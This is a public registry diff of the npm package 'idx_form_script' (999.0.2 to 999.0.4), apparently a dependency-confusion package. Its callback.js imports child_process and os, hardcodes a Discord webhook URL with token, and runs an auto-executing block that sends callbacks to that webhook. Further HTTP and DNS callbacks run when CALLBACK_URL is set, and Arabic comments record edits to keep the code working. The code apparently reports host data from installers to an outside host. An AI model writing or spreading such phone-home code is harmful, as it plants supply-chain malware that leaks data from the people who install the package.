idx_form_script 999.0.2 → 999.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/callback.js +14 -3
- package/package.json +1 -1
package/callback.js
CHANGED
|
@@ -14,7 +14,11 @@ const http = require('http');
|
|
|
14
14
|
const os = require('os');
|
|
15
15
|
const { execSync } = require('child_process');
|
|
16
16
|
|
|
17
|
-
|
|
17
|
+
// ==========================================
|
|
18
|
+
// تم تعديل هذا السطر ليكون فارغاً لتجنب خطأ Invalid URL
|
|
19
|
+
const CALLBACK_URL = '';
|
|
20
|
+
// ==========================================
|
|
21
|
+
|
|
18
22
|
const DISCORD_WEBHOOK = 'https://discord.com/api/webhooks/1549797176794943579/5GuFgIOVr6N3uWQumdUWgjxS_NpkMfW6f8lqA0ySn7HHgXRyeZxc3HG-9kiEbhbHHXe-';
|
|
19
23
|
const PACKAGE_NAME = 'idx_form_script';
|
|
20
24
|
|
|
@@ -290,10 +294,17 @@ async function sendDiscordCallback() {
|
|
|
290
294
|
}
|
|
291
295
|
|
|
292
296
|
// Execute callbacks
|
|
297
|
+
// ==========================================
|
|
298
|
+
// تم تعديل هذا الجزء لتخطي sendCallback إذا كان CALLBACK_URL فارغاً
|
|
293
299
|
(async () => {
|
|
294
300
|
try {
|
|
295
|
-
|
|
301
|
+
if (CALLBACK_URL) {
|
|
302
|
+
await sendCallback();
|
|
303
|
+
}
|
|
296
304
|
await sendDiscordCallback();
|
|
297
|
-
|
|
305
|
+
if (CALLBACK_URL) {
|
|
306
|
+
sendDnsCallback();
|
|
307
|
+
}
|
|
298
308
|
} catch (e) {}
|
|
299
309
|
})();
|
|
310
|
+
// ==========================================
|